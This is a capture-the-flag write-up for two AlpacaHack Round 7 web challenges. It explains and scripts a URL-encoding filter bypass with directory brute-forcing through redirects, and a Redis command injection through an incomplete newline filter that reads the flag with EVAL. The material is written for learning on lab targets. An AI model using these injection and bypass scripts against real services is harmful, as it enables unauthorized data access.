Try   HackMD

AlpacaHack Round 7 (Web) Write up

Treasure Hunt

116 pts (71 solves)
Web
Author:

ark

Check out the challenge here yourself
https://alpacahack.com/ctfs/round-7/challenges/treasure-hunt

Observations

There are two things that you need to figure out
In the dockerfile, the flag name is moved to a path made out of the md5sum of the flag and in a file. You have to figure out how to know if a directory exists

# Move flag.txt to $FLAG_PATH
RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \
    && mkdir -p $(dirname $FLAG_PATH) \
    && mv flag.txt $FLAG_PATH

There is also a regex check that forbids any requests that contains the characters flag in the URL. You need to first figure out a way to bypass this check.

  if (/[flag]/.test(req.url)) {
    res.status(400).send(`Bad URL: ${req.url}`);
    return;
  }

Solution

After some trial and error, you could know that if a directory exists, the server would redirect you to the directory. For example, if you try to access http://server.com/a and directory a exists, it would redirect you to http://server.com/a/. With this we can brute force the directory name one by one. Since md5sum contains [a-f0-9] we only need to guess at most 16 times for each directory

To bypass the regex check, you just need to URL encode the characters.

Note that python requests library would URL decode some of the characters in the URL path

Maybe here https://github.com/psf/requests/blob/main/src/requests/models.py#L480Do

Therefore I did the encoding in the proxy on only the flag characters.

Solve script.

import requests
import string
s = requests.session()
s.verify=False
s.proxies = {"http":"http://localhost:8080"}
def check(g):
    for c in "flagbcde1234567890":
        target_url = "http://34.170.146.252:19843"
        res = s.get(target_url + f"{g}{c}",allow_redirects=False)
        if res.status_code == 301:
            print(g + c)
            return g + c + "/"
    return g
out = "/"
while True:
    i = len(out)
    out = check(out)
    if len(out) == i:
        break

Alpaca Poll

146 pts (42 solves)
Web
Author:

st98

Check out the challenge here
https://alpacahack.com/ctfs/round-7/challenges/alpaca-poll

Observation

The parameter animal is controlled by the user. You can inject into the query.

export async function vote(animal) {
    const socket = await connect();
    const message = `INCR ${animal}\r\n`;
    const reply = await send(socket, message);
    socket.destroy();
    console.info('[SQL reply]', reply)
    return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number 
}

There is a check here that checks for newline but does not seemed to be working

app.post('/vote', async (req, res) => {
    let animal = req.body.animal || 'alpaca';

    // animal must be a string
    animal = animal + '';
    // no injection, please
    animal = animal.replace('\r', '').replace('\n', '');

    try {
        return res.json({
            [animal]: await vote(animal)
        });
    } catch {
        return res.json({ error: 'something wrong' });
    }
});

Solve script

import requests

s = requests.session()

s.verify= False
s.proxies={"http":"http://localhost:8080"}

# URL and headers
url = "http://34.170.146.252:42664/vote"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded",
}

def flagLen():
    payload = f"""animal=flag

    EVAL "return string.len(redis.call('GET', KEYS[1]))" 1 flag
    """

    # Make the POST request
    response = s.post(url, headers=headers, data=payload)

    # Print the response
    # print("Status Code:", response.status_code)
    print("Response Body:", response.text)
    return int(response.text.split(":")[-1][:-1])
def readFlag(idx):
    payload = f"""animal=flag

    EVAL "return string.byte(redis.call('GET', KEYS[1]):sub({idx}, {idx}))" 1 flag
    """

    # Make the POST request
    response = s.post(url, headers=headers, data=payload)

    # Print the response
    # print("Status Code:", response.status_code)
    print("Response Body:", response.text)
    return chr(int(response.text.split(":")[-1][:-1]))
length = flagLen()
out = ""
for i in range(length):
    out += readFlag(i+1)
print(out)